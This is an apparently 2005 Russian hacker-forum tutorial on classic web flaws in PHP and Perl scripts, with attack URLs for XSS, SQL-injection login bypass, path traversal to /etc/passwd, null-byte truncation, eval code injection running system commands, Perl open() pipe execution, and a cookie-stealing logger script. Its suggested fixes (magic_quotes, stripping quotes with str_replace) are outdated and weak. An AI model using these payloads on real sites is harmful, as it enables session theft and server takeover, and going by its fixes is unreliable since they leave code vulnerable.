В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о: 1) XSS aka CSS aka Cross Site Scripting 2) SQL-injection 3) including 4) null-byte poison 5) PHP-including 6) Remote Command Execution в open() в Perl-скриптах Начнем с самых "безобидных" и закончим критическими уязвимостями. I. Cross Site Scripting. Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php echo "

Hello, ".$_GET['name']."

"; Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам :) Попробуем вызвать его следующим образом: xss.php?name=lamo

Скрипт послушно вставит значение параметра name в страницу и вот что выйдет:

Hello, lamo

Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого: xss.php?name=lamo

А сам cookiestealer.php должен быть примерно слудующий: $cookies=$_ENV['QUERY_STRING']; $f=fopen("cookies.log", "a+") or exit; fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n"); fclose($f); echo "Фатальная ошибка 56"; Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header() Пример бажного скрипта: Code: Вызов: header.php?type=html%0d%0a%0d%0a Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость. II. SQL-injection Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита: пусть есть скрипт авторизации: Code:
Login:
Password:

(структура таблицы users: (id int not null primary key auto_increment, login varchar(255), password varchar(255) ) Вроде все как надо - если пасс и логин верные - разрешен вход, иначе запрещен. Но попробуем написать в форме login - root, password - ' OR 1=1/* Нам будет разрешен доступ (если юзер root, конечно, существует). Назберемся, почему. Попробуем составить запрос, который отправляется в БД: select * from users where login='root' and password=' [' OR 1=1/*] ' В квадратные скобки я взял введенный пароль. Итак, запрос сводится к: select * from users where login='root' and password='' OR 1=1/*' Как видим, получили совсем не то, что ожидали. Т.к. условие (password='' OR 1=1) всегда истинно, то нас всегда будут пускать, независимо от пароля root'а. Для устранения данной "дыры" следует либо включить директиву magic_quotes_gpc (сделать ее равной On) в файле php.ini, либо, если нет такой возможности, добавить следущие строки после if(isset($_POST['go'])){ : Code: $_POST['login']=str_replace("'", "", $_POST['login']); $_POST['login']=str_replace("\"", "", $_POST['login']); $_POST['password']=str_replace("'", "", $_POST['password']); $_POST['password']=str_replace("\"", "", $_POST['password']); III. Including Эта уязвимость существует из-за нефильтрования скриптом параметров, переданных в процедуру открытия файла. Пример: Code: Тут мы подключаем модуль из каталога modules. Но кто сказал, что именно из этого каталога? Попробуем вызвать сценарий так: including.php?module=../../../../../../../../etc/passwd Файл будет выведен. Разберемся, что произошло. Мы подключали вроде скрипт из каталога modules, а реальный путь оказался таким: modules/../../../../../../../../etc/passwd , что равносильно /etc/passwd. Таким образом, атакующий может читать файлы в системе (естественно, если у демона httpd хватит привиллегий на чтение). Защита от такой напасти - та же функция str_replace(), которой можно "вырезать" символы / IV. null-byte poison Данная уязвимость не используется отдельно, а чаше вместе с другими - including и sql-injection. Поясню в чем тут дело. А дело в том, что интерпретатор языка php написан на C, а в С нулевой байт (символ с кодом 0 - \0) считается ограничителем строки. Для примера возьмем все тот же сценарий из инклудинга и слегка модифицируем его: Code: Он теперь добавляет в конец пути расширение - .php Т.е. вариант ../../../../../../etc/passwd не прокатит - он будет искать /etc/passwd.php, а не /etc/passwd. Но мы не отчаиваемся и вспоминаем, что байт %00 ограничивает строку, таким образом, у нас есть возможность ее "обрезать" после имени файла и убрать расширение .php Смотрим: including.php?module=../../../../../../etc/passwd%00 Voila! Все прекрано работает и мы видим содержимое /etc/passwd. Замечание: при включенной директиве magic_quotes_gpc ничего работать не будет - php добавит \ перед 0-байтом и выйдет вот что: Цитата: Warning: main(modules/../../../../../../etc/passwd\0.php) [function.main]: failed to open stream: No such file or directory in /home/great/www/including.php on line 3 Warning: main() [function.include]: Failed opening 'modules/../../../../../../etc/passwd\0.php' for inclusion (include_path='.') in /home/great/www/including.php on line 3 [/qoute] Тут возможна только xss, а инклудинг идет лесом :) V. PHP-including Включение своего php-кода при использовании eval() и подобных ей. Пример: [i]Code: Вроде мы хотели, чтобы пользователь выбрал действие - one или two и вызвалась соотв. функция. Но мы попробуем сценарий вызвать так: phpinc.php?action=system('id');// Таким образом, выпонится команда id на сервере. Нам даже не помеха magic_quotes_gpc, которая экранирует кавычки - достаточно изменить запрос так: phpinc.php?action=system($_GET['cmd']);//&cmd=id Однако нам помешает другая "вредная" директива - Safe_mode. Она запрещает функцию system() и ряд других. Зщита от данной уязвимости - полный отказ от использования eval() VI. Remote Command Execution в перл-скриптах в open() Этот пример будет на перле, т.к. бага существует именно с скриптах, написанных на нем (замечу: в СКРИПТАХ - из-за криворукости кодера, интерпретатор перла тут не при чем). Сначала пойдет теоритическая часть :) В перле для открытия файлов существует функция open(). Ее используют так: open(DESCRIPTOR, "filename"); , где DESCRIPTOR - создаваемый дескриптор файла, а filename - имя файла. При чем, если указать просто имя вроде "database.dat", то файл открется для чтения. Если указать в виде ">file.txt", то для записи, ">>file" - для добавления. А теперь самое интересное - если указать "|id", то откроется канал (pipe) с указанной программой (id). Таким образом, можно выполнять команды на сервере. А теперь пример уязвимого скрипта: Code: #!/usr/bin/perl use CGI qw( :standard ); # подключаем библиотеку CGI print header; # выводим заголовлок (Content-type) open(FILE, param('file')); # открываем файл, имя файла - переданный параметр file while($str=) # читаем из файла. Операция означает: прочесть строку из файла # она возвращает false, когда подошел конец файла, таким образом этим циклом while мы обходим весь файл { print $str; # выводим прочитанное } close(FILE); # закрываем дескриптор Я специально не стал сокращать и писать вроде while(){print;} , дабы не запутать не знающих этого языка. Специально для них даны комментарии (они начинаются с #, кроме первой строки - там указан путь к интерпретатору перла). А мы же попробуем вызвать сценарий так: open.pl?file=|id И у нас вместо файла откроется канал с процессом id, и результаты будут выведены на экран. Последствия: исполнение любых команд (в пределах привиллегий демона httpd) на сервере. Защита - фильтрование | в параметрах. На этом позволю себе откланяться. Не серчайте сильно, если что упустил :) Great (cribble[at]mail.ru, icq# 893-894), 16.11.2005 ВНИМАНИЕ! Автор статьи не несет ответственности за какое-либо использование данного материала в незаконных целях и за прочиненный этим вред! Great (02.12.05, 22:01:02) Совсем забыл, сорьки. Уязвимость php-including так же есть и в функции preg_replace($mask,$replacement,$string). Если указан модификатор /e, то после замены параметр $replacement будет расценен как рнр-код и выполнен интерпретатором. Таким образом поимели phpBB 2.0.15 Автор: Great